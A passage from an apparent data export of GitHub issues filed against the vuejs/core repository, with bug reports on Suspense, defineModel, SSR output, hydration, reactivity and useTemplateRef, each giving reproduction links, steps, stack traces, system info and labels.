https://play.vuejs.org/#eNrFVcmO2kAQ/ZWSc8BIBLPkRAwKoDkkh2SU4RbnYOwy9GB3W+42ixD/nuo2NmYdaQ6TkQbUr7ZXK3trnKbtdY7WwHJlkLFUgUSVpyOPsyQVmYI9cNyqGQtWcIAoEwk0SL9Rk4cYMY5juePBVBDIkStoQYbRuYHHA8GlgkppDMObxrbdHI72HgfyofKME4MNPJMnJtG2M5SlGDTZGUtQ5IURyeyCl91oO9qhTq7RbLag1+l0mtroQJ/6/4rO5APodB/xuWI0/QBGvfuMYlSQ+CmRMM4a3cag1ryWwXp1bFJg/To2JV9lYnIpNuSNJsNWWY4UosCVPz/CFKNCg6XPFzjbpUhCW9F3mZb20177ca4lkR9L/KrhclBP5blQ1UHLBEFHPUnIuyHqOsUa0ALQQ2GSxr5CegG481wpweFbEFOQoWedCNrdpmeNuq5TqIygrn/ToKcNenWDt0L0tUX/MkRmqDmOLkM892lLNyJbgeCBybTScF9ymSKXCOZJQFDtKgyYpFjU6j9Uk7+eBYMV7gihFz2c0qKsBnwqg41i4YeML9rFn+ucF8wpgx7rV5FloJaMr4BJ4EKBDwshQmqWiHPFxLEUl8TXn1lEpHRHqRL/J4szmdWylKRZjdii/SoFpyNqpo7aRqxYjNmvVKcjPWtQrJCWUVCx+WEwPY9mZYzNEoPVDfxVbjXmWc+0vJit0bMqmfKzBapC/PTyk+a/JkxEmMek/UD4G6uSG7VJzkOiXdMzbL+bi0EVmsmnraJSlElVC2X0PYtOiV78e6mf6PbbX4wd7RxVsTzUV79Cj7YxZOuipeOiS8X7skHV0X2f78lbvs35fJ9voNN4z/nhH7pkhVk=
### Steps to reproduce

when  i use component to render async component， like this 
```
//setup
const tab = ref('1')


/* // map like this
const map = {
1: defineAysncComponent(...),
2: ....
}

*/



//template 
// fallback just show once
  <Suspense >
    <component :is=""map[tab]"" :key=""tab"" />
    <template #fallback>loading.......</template>
  </Suspense>

but this can be work 

  <Suspense v-if=""show"">
    <component  :is=""map[tab]"" :key=""tab"" />
    <template #fallback>loading.......</template>
  </Suspense>
```
### What is expected?

don't need v-... [TRUNCATED]",,2025-06-30T09:03:57Z,2025-06-30T10:00:03Z,1
vuejs/core,3172917525,defineModel on Firefox does not work as expected,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUslOwzAQ/RXLlxSppAc4lRaxqIcisQgQJ1+idBJcnLHlJVSq8u+MnbYUynKy573xm+eZWfNLY/I2AB/ziSutNJ458MEwVWA9Fdw7wc8FysZo69maWag6VlndsIxeZTvmWjdmg+ejGETR7EygwFKj86xodEDPplFhkGVHAiejviDJU+ChMarwQBFjkyTXHjd6AYpc9I8FHxE7Ge2l8iE5pAKVrPOl00jfWEcBwUtSkArsvfGSDAg+ZomJXKGUfr9JmLcBhlu8fIXy7Qd86VYRE/zBggPbguA7zhe2BrIW6dnTHazoviPJf1CU/Qf5CE6rED32aVcBF2R7Ly+5nac2S6yf3WzlAd32U9FozOxSvuDU9ti8377+afckP03vBHbUxe3I/tmDfpZpLDTKBVQS4TZGAxqowCpgGWsyjXM0wQ+gBfRjNovHUe9CQRKQlYTFS6ECkFBW0CaxXjdvN+CXJHL5bWMOdkbGintLk07B2UUiCNiYIuhwj7oPe2AHrg

### Steps to reproduce

1. Use firefox
2. Enter anything in the field. It should be blocked and only show ""a"", but it wont on firefox.

### What is expected?

It should only keep ""a"" and nothing else should ""make it through""

### What is actually happening?

Seems like either a race condition or firefox not updating at the same time as Chrome? no clue.

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (20) x64 Intel(R) Core(TM) i5-14600K
    Memory: 12.60 GB / 31.77 GB
  Binaries:
    Node: 22.16.0 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.2 - C:\nvm4w\nodejs\npm.CMD
  Browsers:
    Edge: Chromium (134.0.3124.85)
    Internet Explorer: 11.0.26100.1882

-- Its not showing my actual browser: Firefox 139.0.4
```

### Any additional comments?

_No response_","has workaround,browser specific,:hammer: p3-minor-bug",2025-06-24T18:29:17Z,2026-06-11T02:00:43Z,4
vuejs/core,3170595843,Using generics is making required props optional when using fallthrough,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U9Fu2zAM/BVOL9mAxMGQFRs8N8BadED30BWrsScBg2YzjlJb0iQ6TRHk30fJTdIWRR55JE/H83krvjmXrXsUuShC5bUjCEi9g1aZ5lwKClLMpdGds57gQgW8Nq4nWHjbwSibHpBIMvoqjTTFdCDiNS4IO9cqQq4AineTCdxY0hUCLRWBFAuNbS0F6ADGQmtNgx48/uu1xxqUqYEeHT5Jqy3GMYLKRlZtYDI5Epf+kTc7u9amYXqEUVwdgfPWjQeqJRoo7+DB+vsAKgBuHFbED+15jhfG3WgAbojlTbldTJ8dI8bsTWXNQjfZKljDBm4jgxRRm27R/3SkrWH/ckid2FNtax9+JIx8j+M9Xi2xun8DX4VNxKS49RjQr1GKQ4+Ub5C1xfbV3U3SeWh2tu5bnj7R/IXBtn3UOIxd9KZm2c/mktrr9OnZ0jJcbQhN2B8VhcbJXZqXggNweeL0o9xZ9intSbNjF18k6FQMoUGDXldclimUHEtD6BeK0/Q9xujScr2hopwPzxrVYQ6BPKvnaAKsVdszUqaiQ1I52L8rTgADLEca/qCBYAsplbCDc6hxoQ3ecoRCkUhTK3/54PAES9rN339grlO/gE7pypMUPiXRZalKR70O2Z81+mg5OzPLzrKPnyNG4fcBPcu+ZDOx+w9m10aN

### Steps to reproduce

Create a component with a generic (`<script setup lang=""ts"" generic=""T"">`). 

Use the component and provide a prop that is not in the props list (e.g. a [fallthrough attribute](https://vuejs.org/guide/components/attrs.html#fallthrough-attributes)) 

Notice that required props in the component is no longer required and typescript allows the usage without the prop. 

### What is expected?

Required props should be required and typescript should be aware of missing prop.

### What is actually happening?

The way `generic=""""` is altering `defineProps` is making required props optional.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: types,language-tools",2025-06-24T06:50:26Z,2025-06-24T08:24:35Z,1
vuejs/core,3165101678,Async components with lazy hydration break when interacted with very quickly after hydration,"### Vue version

3.5.17

### Link to minimal reproduction

https://stackblitz.com/edit/vue-fast-hydration-error?file=src%2FApp.vue

### Steps to reproduce

**With errors**

* Open project URL in browser
* Observe console errors

**Without errors**

* Open project URL in browser with `?lazy` query parameter
* No console errors

### What is expected?

UI shouldn’t break with lazy hydration on async components.

### What is actually happening?

UI randomly breaks with lazy hydration on async components.

![Image](https://github.com/user-attachments/assets/91b99d4a-4c99-4643-9a93-1a705a22e436)

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.17
```

### Any additional comments?

This issue creates minimum reproducible case for https://github.com/vuejs/core/pull/12148.

I’ve managed to extract all necessary UI and functionality from actual production project to recreate issue.

As issue title states, **async components with lazy hydration break when interacted with very quickly after hydration**; in this case lazy loading data for async component.

If we add artificial timeout of e.g. 1000ms, error doesn’t occur.
Using smaller values creates unpredicta... [TRUNCATED]",":hammer: p3-minor-bug,scope:hydration",2025-06-21T13:44:01Z,2025-07-23T00:36:48Z,1
vuejs/core,3164731612,Transition,"### Vue version

3.5.13

### Link to minimal reproduction

/

### Steps to reproduce

/

### What is expected?

/

### What is actually happening?

TypeError: Cannot read properties of undefined (reading 'type')
    at getLeavingNodesForType (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:3578:52)
    at leavingHooks.delayLeave (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:3528:40)
    at remove2 (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8237:9)
    at unmount (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8197:9)
    at unmountComponent (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8267:7)
    at unmount (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8162:7)
    at unmountComponent (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8267:7)
    at unmount (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8162:7)
    at unmount (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:4943:7)
    at http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:4996:9

### System Info

```shell

```

### Any additional comments?

_No response_",can't reproduce,2025-06-21T04:03:20Z,2025-06-25T00:11:18Z,2
vuejs/core,3162397810,reactive iterators do not support iterator helpers,"### Vue version

v3.5.17 (also v3.4.38 and 5f8314c)

### Link to minimal reproduction

https://play.vuejs.org/#eNq1U8tu2zAQ/BWCF0mAIDdIiwKpbCAtfGiBPtD2JgoFq6xtxhJJ8CE7EPTvXYpR6kNs5JIbuTO7O7NcDvRW66L3QG9oaRsjtCMWnNek5XK7ZNRZRldMik4r48hADPDGiR7ISDZGdSTB3OQDk0w2SlqHuPWts2RJJBzIrTH8oaysM0Jucy/3Uh1kvTrhgzHKvITuzAMZmCQk5nVcPyZ95TqtqoQn+VWdV8nfJH9T1xnmkFlMob3dpVVyEG6nfNAYPSR57FgEJylWLADbCLBpVmxE68CkabXP+zpbrvosqzMmR9Jw1+xICllUE/Vf6ABTWnBwxsPMTc+bOevmla0856NcxDXBpcCLg0633AHeCCn16mfUeEOG4VHuOJYLPcPrqUVAY7MZLBcnhWiOW4cT2ohtcW+VxNWc9DHaqE6LFsx37QROkFGsFJCA8bZVhy9TzBkP+RxvdtDsn4nf22OIMfoDhYLpgdEnzHGzBRfh9a9vcMTzE9ipO98i+wKIU1CtDxoj7aOXdyj7hDep/Tx9Klz133Z9dCDtbCoIDcxx4jOKf+zTBev/5V4Xb6c8fCmc4p8eTKiJA7wu3hVX7+n4D4M8VV4=

### Steps to reproduce

1. Create a reactive map (`reactive(new Map())`)
2. Call a method on the map that returns an iterator (`map.entries()`)
3. Call a helper method on this iterator, e.g. `map.entries().filter()` (as defined in https://github.com/tc39/proposal-iterator-helpers, now stable and supported by all major browsers).

**Workaround**: call `Iterator.from(map.entries()).filter()`

### What is expected?

The method should work, just like if the map had not been reactive.

### What is actually happening?

The method is not defined.

### System Info

```shell
Tested the playground link in Firefox 139.0.4 and Chrome 137.0.7151.104 on macOS 15.5.
```

### Any additional comments?

The fix should be fairly simple: if `Iterator.from` is defined, Vue should call `Iterato... [TRUNCATED]",,2025-06-20T08:37:43Z,2025-06-20T08:41:56Z,0
vuejs/core,3159618974,Dialog组件中如有组件内部还使用了Dialog，会导致关闭时报错,"### Vue version

3.5.17

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-8rwcnwxg?file=src%2FApp.vue

### Steps to reproduce

点击“打开 Dialog 1”按钮，然后关闭“Dialog 1”，控制台报错

![Image](https://github.com/user-attachments/assets/f16bae70-6bc1-48ac-a116-cc7b2ee4e4b5)

### What is expected?

点击“打开 Dialog 1”按钮，然后关闭“Dialog 1”，控制台不报错

### What is actually happening?

Dialog1配置attach=""body""、destroy-on-close=""true""属性，其中的组件也有Dialog2并配置attach=""body""时，打开Dialog1后，关闭Dialog1，控制台报错，

如果Dialog1将destroy-on-close配置为false或者Dialog1将lazy配置为true再或者Dialog1、2的attach配置不一样，控制台就不会报错

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (14) arm64 Apple M4 Pro
    Memory: 752.13 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.11.0 - ~/.volta/tools/image/node/22.11.0/bin/node
    Yarn: 4.5.3 - ~/.volta/tools/image/yarn/4.5.3/bin/yarn
    npm: 10.9.0 - ~/.volta/tools/image/node/22.11.0/bin/npm
    pnpm: 9.12.3 - ~/.volta/tools/image/pnpm/9.12.3/bin/pnpm
  Browsers:
    Chrome: 137.0.7151.120
    Safari: 18.5
  npmPackages:
    vue: ~3.5.11 => 3.5.17
```

### Any additional comments?

tdesign-vue-next@1.12.0这样使用控制台不会报错",,2025-06-19T09:24:45Z,2025-06-19T09:38:10Z,1
vuejs/core,3156562988,defineProps has invalid validation,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUk1PwzAM/StWDggk1InPwyiTtokDIMEEuy0T6jp3y9YmUZKOTaX/HSdlH0Jo3BK/Z/v52RXrah2tSmRtFtvUCO3Aois15Imc3XPmLGcdLkWhlXHQn4t8CplRBXAWtcLXZ3PGZdxq8olNH4eFzhOH9AOIm7yU6iUXnEGLonHrgMLOqVGqZCZm0cIqSWoqn8hZqgotcjSv2gklSUwbAuKxJM/V51OIOVPi+TaezjFd/hFf2LWPcTYwaNGsSPYOc4mZoWvgh/cXXNN7BxZqWubEPgK+oVV56TU2tF4ppyT7gBfUPgYfhZwN7cPaobTbobxQz6wDnzMytX9k9L3cq+g65HFZk4u7jfyzT7fRCGSDcyLbxMMO3De1R88gJCxxozIYjtswHD2PqTKcQFXf+cWGxC7Rf1b55R+Xfv8B6QVkskUme6RPyK5hl9BeOJQpZkLiwCht46AgbUOfOnZOz6jfkZuqKkihprF/H9LHCo23lRy4im6ii1tWfwOpQPI/

### Steps to reproduce

Just open the repro link.

### What is expected?

It should print no warnings in the console.

### What is actually happening?

Typescript shows that `C` is union of string literals, but we get the error:
```text
Invalid prop: type check failed for prop ""c"". Expected Object, got String with value ""a1"".
 at <Childc=""a1"">
 at <Repl>
```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (12) arm64 Apple M3 Pro
    Memory: 184.22 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.2.0 - /opt/homebrew/bin/node
    npm: 11.3.0 - /opt/homebrew/bin/npm
  Browsers:
    Chrome: 137.0.7151.104
    Safari: 18.5
```

### Any additional comments?

Linked to [this issue](https://github.com/floating-ui/floating-ui/issues/3345).",,2025-06-18T11:47:02Z,2025-06-18T12:28:43Z,1
vuejs/core,3152710312,`<option>` inside `<optgroup>` won't have `selected` attr in the SSR output,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNqFU01v2zAM/SuELt6A1OmWttsCd8A29LAdtmEbdqmKwnWYVK0sCRLtpjD830vJcdIvtDbgZ/I9U4+U1YkvzuVtg2IuilB55QgCUuM+S6NqZz1BBx6X0MPS2xoylmbSSFNZEwjoEv+XukE4jqI32eH+fvZ2JEutExk27Gm2fuXKJpC95xIMswEOBoh1GY4G+DDAxwE+MZzxosV08M/OOSCsnS4JOSoWqo1J4js9i4AaK4J2r7YL1MdSjH1IMQqpsI6UNdDGfJRgIKYjFNOBe6Bdeds40OVFKpiip9XGUFK7t7Sehc6GoC70ZozK7KYmxU49v8bbx2IpYD6ae0TsPhzftkYkdR08XLTvty6fNBYTqZdNioecZpfCYjpMtpjem7aYCAr8AyzVKr8K1vCP1UkDIEVla6c0+l9pDe5vDomJHHdtb36kHPkGJ2O+usTq+pn8VVjHnBS/PQb0LTe95aj0K+S9ivTJ35+45vctyTveaFa/QP7BYHWTtivJvjZmwbbv6ZLb7+l4KLP6F07WhCaMTUWjUdknvRR8ZL690PrO7iw/SN9J0/MUz1v0sSYPcJYf5u+ORH8HYd1CqA==

### Steps to reproduce

1. Switch to the SSR table on right pane
2. Checkout the line 30:
   ```js
         : _ssrLooseEqual($setup.theValue, ""test""))) ? "" selected"" : """"
   ```
   and line 34 should be similar with 30 for adding `selected` attr, but it's just:
   ```js
         _ssrRenderAttr(""value"", possibleValue)
   ```

### What is expected?

```js
  _ssrRenderList($setup.allValues, (possibleValue) => {
    _push(`<option${
      _ssrRenderAttr(""value"", possibleValue)
    }${
      (_ssrIncludeBooleanAttr((Array.isArray($setup.theValue))
        ? _ssrLooseContain($setup.theValue, possibleValue)
        : _ssrLooseEqual($setup.theValue, possibleValue))) ? "" selected"" : """"
    }>${
      _ssrInterpolate(possibleValue)
    }</option>`)
```

### What is actually happening?

```js
  _ssrRenderList($s... [TRUNCATED]","scope: ssr,:hammer: p3-minor-bug",2025-06-17T09:08:58Z,2025-06-18T12:54:33Z,1
vuejs/core,3152075705,Vue compiler does not correctly resolve ${configDir} from extended tsconfigs,"### Vue version

3.5.16

### Link to minimal reproduction

https://stackblitz.com/edit/vue-compiler-sfc-configdir-bug?file=tsconfig.app.json

### Steps to reproduce

1. Open the minimal reproduction and observe the following compiler error:
```
[plugin:vite:vue] [@vue/compiler-sfc] Failed to resolve extends base type.
```
2. Open the `tsconfig.app.json` file and uncomment the following lines:
```
  // ""compilerOptions"": {
  //   ""paths"": {
  //     ""@/*"": [""src/*""]
  //   }
  // },
  // ""include"": [""src/**/*.ts"", ""src/**/*.tsx"", ""src/**/*.vue""],
```
3. In the terminal type `r` then press enter to reload the dev server
4. The compiler error should disappear

### What is expected?

There should not be a compiler error at any point, as the two versions of the tsconfig file are parsed identically by TypeScript.

### What is actually happening?

When using a tsconfig that extends another tsconfig, and the extended config uses the `${configDir}` magic string in the `include` or `compilerOptions.paths` settings, Vue fails to resolve imported base types for types passed to the `defineProps` macro.

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (8) arm64 Apple M1 Pro
    Memory: 304.44 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.13.1 - ~/.nvm/versions/node/v20.13.1/bin/node
    npm: 10.5.2 - ~/.nvm/versions/node/v20.13.1/bin/npm
    pnpm: 9.1.1 - ~/.nvm/versions/node/v20.13.1/bin/pnpm
  Browsers:
    Chrome: 137.0.7151.104
    Safari: 18.5
```

###... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2025-06-17T05:04:59Z,2025-09-02T09:09:45Z,1
vuejs/core,3149900548,console cannot find path function on the playground,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kU9LAzEQxb/KmMsq1F1K1UPZFlQK6kFFBS8BKdvpNjWbhPxZC8t+dydZWnuQ3jLvvZn8MunYrTF5G5BNWekqK4wHhz6YOVeiMdp66MDiGnpYW91ARtGMK64qrZyHxtUwi/559oBSavjUVq7OsguuymIYR4Oo8NgYufRIFUC5Gc+7LjX3fVlQlVShTPDQXjZ6hXLGGfmcQUFmWRz1sxHzjq5fizrfOq2IvIv9nFW6MUKifTFeEB5nU0hO9JZE9/OUNG8DjvZ6tcHq+x9963ZR4+zVokPbImcHzy9tjX6wF+/PuKPzwST6ICl9wnxDp2WIjEPsLqgVYR/lEu1j2r9Q9Ydb7Dwqt39UBI3JPuU5oz+5P/H0P9xJfpX6uOppi18t2jiTFjjJr/PxDet/AWCOrLM=

### Steps to reproduce

1. Visiting the minimal reproduction
2. Using **Ctrl + Shift + I** to open Browser Dev Tools
3. Click **Console** panel


### What is expected?

Nothing be warned.

### What is actually happening?

```bash
vue.worker-Dc6PZdLj-C1ykw0lc.js:16133 Language service plugin ""vue-template (html)"" (8) failed to provide document feature for volar-embedded-content://template/file%253A%252F%252F%252Fsrc%252FApp.vue. TypeError: path.basename is not a function
    at getSelfComponentName (vue.worker-Dc6PZdLj-C1ykw0lc.js:145334:28)
    at _getComponentNames (vue.worker-Dc6PZdLj-C1ykw0lc.js:145397:50)
    at Object.getComponentSpans (vue.worker-Dc6PZdLj-C1ykw0lc.js:145600:77)
    at Object.provideDocumentSemanticTokens (vue.worker-Dc6PZdLj-C1ykw0lc.js:146018:63)
    at tokens.map.range.start.line (vue.worker-Dc6PZdLj-C1ykw0lc.js:18625:62)
    at vue.worker-Dc6PZdLj-C1ykw0lc.js:16111:62
    at safeCall (vue.worker-Dc6PZdLj-C1ykw0lc.js:16130:23)
    at docsWorker (vue.worker-Dc6PZdL... [TRUNCATED]",,2025-06-16T12:50:37Z,2025-06-18T00:29:49Z,2
vuejs/core,3149256179,{{ render() }} has an error in the console,"### Vue version

3,5,16

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1P4zAQ/SuzvqSV2ESr3VM3rQQICTgAAiQuvkTJNA04Y8t2SqUo/52x04QegFzimXlv5s1HL86NSfcdipXIXWkb48Gh7wyoguq1FN4dpNhIalqjrYceLG5hgK3VLSTMS+bQpW7N0Z9mwUiZm/yXVGpyHlpXwzqwF8k1KqXhRVtV/UqWE8AiVWgZs1jCegN5zJdtOEGWAekJICnPRqGsig2PrVGFR7YA8t2fTd/HWsOQZ2xFrwnOkc7JQ8SMgYZM52H/u9UVKu6WiVJw0VDkJLE44zmwym1Tp69OEw+rD3wpShbZKLT3xjfchRQriJEQK7jL99vo87bDs8lf7rB8+8L/Gka94seDRYd2j1LMMV/YGv0Yvnq6wwO/5yCr7xSjfwg+otOqCxpH2EVHFcs+wUW1N3GVDdXP7urgkdzUVBAakEPES8GbD/v5rvVPuX/Tf5EnaeApTmfBA5wPqsJtQzGbJiQ/HVesIQWvXxIeIpaRRafi/5SxiGXj1fJ2jxosm5aOtwSL0Rm+3JmCoFSFc7zwfaFClXgN0+d3CB75IsfgJzML1Bm6ZGnjQIbwFMMHrEESLg==

### Steps to reproduce

see the console.

### What is expected?

Expected to render this result or give a warning that this rendering method is not supported.

### What is actually happening?

Get an error: Converting circular structure to JSON
    --> starting at object with constructor 'Object'
    |     property 'vnode' -> object with constructor 'Object'
    --- property 'component' closes the circle in the console

### System Info

```shell
Browsers
```

### Any additional comments?

_No response_",need more info,2025-06-16T09:33:02Z,2025-06-17T03:35:52Z,7
vuejs/core,3143965735,Computed does not track dependencies if they are used later,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuELk2QLB/YTp1jbCt62A7bsPWoi+vIiVpZEiQqNWDov5eS6taHohdBfO9RfCQ1su/Wbi5BsGtW+dZJi+AFBltzLXtrHMIITnRraE1vA4ojROic6eGKkq645ro12iN00nn8J3xQCIeUsdgtv06km+P7THCtBBFBe4J3GSjadk/AVGyxWMKhhpFrgKQfiJtV2lwaFQQlA8gOFvm1GnbLkgBZXmrPlDEdSbpa5dhRu07DQEFMzqptmQNNgAIUvVUNCooAqvO+HsdkMUaoPoE2CMEeG5T6VG2JzKL7gGg0fGuVbB8PnBUHqxVn9c250ScxzWMcyyXGaluS6IFqOyvJ1gw9zaWTp82DN5q2lFvjLE1IKuH+WJQ0N86up6Y5a5QyT78yhi6I9YS3Z9E+voM/+CFhnP0lP8JdBGevHDbuJLDQt/9/i4Hur2RvjkGR+gOSFmVUSB6L7EfQR7I902W3P/NfozHe+dsBhfZTU8lo3lrWc0a/7uaD1t/sft58edl2ZPEZGXL3mQ==

### Steps to reproduce

```js
const firstResult = ref(0);
const result = ref(10);

let runs = 0;

const c1 = computed(() => {
  let x = firstResult.value;
  const shouldTakeResult = runs > 0; // or Math.round(Math.random())
  if (shouldTakeResult) {
    x = result.value;
  }
  runs++;
  return x;
});

console.warn('c1', c1.value);
result.value = 100;
await nextTick();
console.warn('c1', c1.value); // computation is not triggered
result.value = 1000;
await nextTick();
console.warn('c1', c1.value); // nope, still 0
```

### What is expected?

c1 should recompute

### What is actually happening?

c1 does not recompute :)

### System Info

```shell

```

### Any additional comments?

I know I can add result somewhere before the ""if"" to let vue know I'm going to use this dependency, but not everyone knows about it and it can lead to bugs.",,2025-06-13T15:35:51Z,2025-06-14T02:28:56Z,4
vuejs/core,3143207987,Destructured prop ref out of sync with prop value,"### Vue version

3.5.16

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ywxm1tkm?file=src%2Fcomponents%2FInfoIcons.vue

### Steps to reproduce

Open the page and try to scroll **FAST** up and down:

https://github.com/user-attachments/assets/d410cda3-afb9-4d75-891a-c7a5d3d73270

### What is expected?

The prop value and destructured ref should always be in sync with each other.

### What is actually happening?

In certain cases some of the rows will have prop equal to `false`, but `ref` equal to `true`, not sure what is causing this, but it does not seem to be related to the library being used for virtual scroll. It just looks that when the component is in ""keep alive"" mode and then returns back to the DOM in some cases the ref value will not get updated. Prop value is always correct. I'm not 100% sure that this is the issue with Vue itself, but it pretty much looks so, since removing prop destructuring and just using ""raw"" prop value will always return the correct result. Like the video shows, the values gets de-synced randomly, maybe it is some kind of race condition when triggering multiple re-renders (I guess each scroll causes re-render, also the library is using `requestAnimationFrame()` ?

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
  Browsers:
    Chrome: 137.0.7151.104 (Official Build) (64-bit)
    Edge: Chromium (135.0.3179.98)
    Internet Explorer: 11.0.26100.1882
```

### Any additional comments?

_No response_",,2025-06-13T11:06:06Z,2025-06-14T12:09:18Z,2
vuejs/core,3141927390,"Slots behave differently from Vue 3.5.14, breaks code that worked in 3.5.13","### Vue version

3.5.14+

### Link to minimal reproduction

https://github.com/uandco/vuejs-314-slots-bug

### Steps to reproduce

Run `npm install`
Run `vite`

Go to http://localhost:8080

Page displays OK

Change `""vue"": ""3.5.13""` to `""vue"": ""3.5.14""` or later
Run `npm install`
Run `vite`

Go to http://localhost:8080

Page doesn't display, throws:

```
uuFaq.vue:5 Uncaught TypeError: item is not a function
    at uuFaq.vue:5:36
    at Proxy._sfc_render (uuFaq.vue:1:1)
```

### What is expected?

Iterating slots and extracting props from them should work as it did in Vue 3.5.13 and below

### What is actually happening?

It doesn't work when loading the page, getting this:

```
TypeError: item is not a function
    at uuFaq.vue:5:36
    at renderList (runtime-core.esm-bundler.js:2935:18)
    at Proxy._sfc_render (uuFaq.vue:1:1)
```

But changing something in the `App.vue` and letting Vite hot-reload it makes it work.

It never works for built assets though.

### System Info

```shell

```

### Any additional comments?

It might be related to https://github.com/vuejs/core/commit/5d166f3796a03a497435fc079c6a83a4e9c6cf52",":exclamation: p4-important,regression",2025-06-13T00:58:59Z,2025-06-18T12:53:49Z,3
vuejs/core,3139665090,Not possible to assign value to useTemplateRef returned Ref,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-xibnqxg2?file=src%2Fcomponents%2FHelloWorld.vue

### Steps to reproduce

I am currently in the process of refactoring my component library from using the old template ref approach, to using the `useTemplateRef` approach.
While doing this, I stumbled upon the following issue.
With the old approach, it was possible to set the reference to another value, in the new one it is not possible anymore, because the `.value` is readonly.

Please check the attached Stackblitz for further information.
 
* Open reproduction link
* Open console via Browser Dev-Tools
* Check console.log output

```
vue.js?v=546ca277:307 [Vue warn] Set operation on key ""value"" failed: target is readonly. 
RefImpl {dep: Dep, __v_isRef: true, __v_isShallow: true, _rawValue: div#2, _value: div#2}
```

As you can see, setting the ref to a new value was possible before, as the console logs no error/warning and the new value is logged correctly.
But setting the ref to a new value coming from `useTemplateRef` does not work. 

![Image](https://github.com/user-attachments/assets/b4a8dcef-47e9-4056-82f4-cffa2f77d77c)

### What is expected?

possible to set returned reference value from `useTemplateRef` to a new value

### What is actually happening?

**not** possible to set returned reference value from `useTemplateRef` to a new value

### System Info

```shell
System:
    OS: Linux 5.10 Debian GNU/Linux 11 (bullseye) 11 ... [TRUNCATED]",,2025-06-12T10:11:28Z,2025-06-12T10:47:13Z,2
vuejs/core,3138962799,rendered dom lose `scroll` prop,"### Vue version

lastest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1LAzEQ/StjLqtQu/hxKtuCSkE9qKjgJZeynW5Ts0lIJrWw7H93ktraQ+kpmffePN5jOnHn3HAdUYxEFWqvHEFAim4ijWqd9QQdeFxADwtvWyhYWkgjTW1NIGhDA+PEnxePqLWFL+v1/Ky4kKYqt3ZsxANh6/SMkCeAank16bq83PdVyVNGlXGRYH3Z2jnqsRTMSwHsYrX+e65LllblgZsYCAocZqGa4SpYwz265CZFbVunNPpXR4rDSjGCzCRuxll/njNGPuJgh9dLrL+P4KuwSZgUbx4D+jVKsedo5hukLT39eMEN//ckd4ma1SfIdwxWx5RxK7uPZs6xD3Q57VO+hjLNZ5huCE3YlUpBk7LPein4Qg8nqv/HvRne5j1petH/ApvArKU=

### Steps to reproduce

![Image](https://github.com/user-attachments/assets/168d4933-c7e5-492e-a2ec-f09eac71daa3)

### What is expected?

scroll exist

### What is actually happening?

scroll lost

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-06-12T06:07:26Z,2025-06-12T07:15:50Z,2
vuejs/core,3133460244,Detached nodes after v-if component(Memory leaks),"### Vue version

3.5.16

### Link to minimal reproduction

https://github.com/hao-kuai/vue3-memory-leak-vif

### Steps to reproduce

1.  Start the application by running `pnpm dev`.
2.  Open the application in your browser (e.g., `http://localhost:5173`).
3.  Open the browser's Developer Tools and select the ""Memory"" tab.
4.  Click the ""Click me"" button repeatedly. This will mount and unmount a DOM element.
5.  Take a heap snapshot after several clicks.
6.  Click the button several more times.
7.  Take another heap snapshot.
8.  Compare the snapshots. If there is a memory leak, you will see an increase in the number of detached HTMLDivElement objects in the second snapshot.

### What is expected?

no detached objects 

### What is actually happening?

an increase in the number of detached HTMLDivElement objects 

### System Info

```shell
MacOS 15.5
M3 air
Chrome ：137.0.7151.69 (arm64)
```

### Any additional comments?

Although it is similar to [12306](https://github.com/vuejs/core/issues/12306), I did not reproduce the Chrome issue in [demo](https://gist.github.com/yyx990803/e7591380f38bbb8e309de8fd1f4010a4), so I hope you don't close the issue directly.",,2025-06-10T12:45:04Z,2025-06-10T14:29:41Z,3
vuejs/core,3131988856,"关于使用常量object，里面参数为ref, shallowRef的问题","### Vue version

3.4.29

### Link to minimal reproduction

